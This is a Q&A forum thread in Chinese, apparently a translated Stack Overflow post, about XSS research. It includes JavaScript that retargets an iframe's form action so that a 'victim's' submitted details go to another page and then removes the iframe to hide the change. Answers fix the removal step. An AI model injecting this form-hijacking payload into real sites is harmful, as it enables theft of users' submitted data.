作为我正在进行的一些XSS研究的一部分,我正在尝试使用已更改的表单操作生成iframe,然后在受害者提交了详细信息后关闭iframe。到目前为止我有以下代码:
<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">
该代码仍然将表单详细信息发布到php页面;但是,它之后无法关闭iframe。我知道iframe删除代码是有效的,就像我自己尝试它一样工作。所以它要么与脚本的逻辑流程有关,要么setAttribute行没有按预期工作。任何人都可以解释我出错的地方吗?谢谢!
答案 0 :(得分:2)
可能有更好的方法可以做到这一点,但我找到的解决方法是通过setTimeout()
暂停deleteIframe功能。我发现只需5毫秒即可成功发布表单详细信息:)
function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}
function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
非常感谢杰森的parent
提示!
答案 1 :(得分:1)
这只是在不运行代码的情况下猜测
form[0].setAttribute("onSubmit", "parent.deleteIframe()");
我的猜测是iframe无法直接访问父窗口,因此您需要parent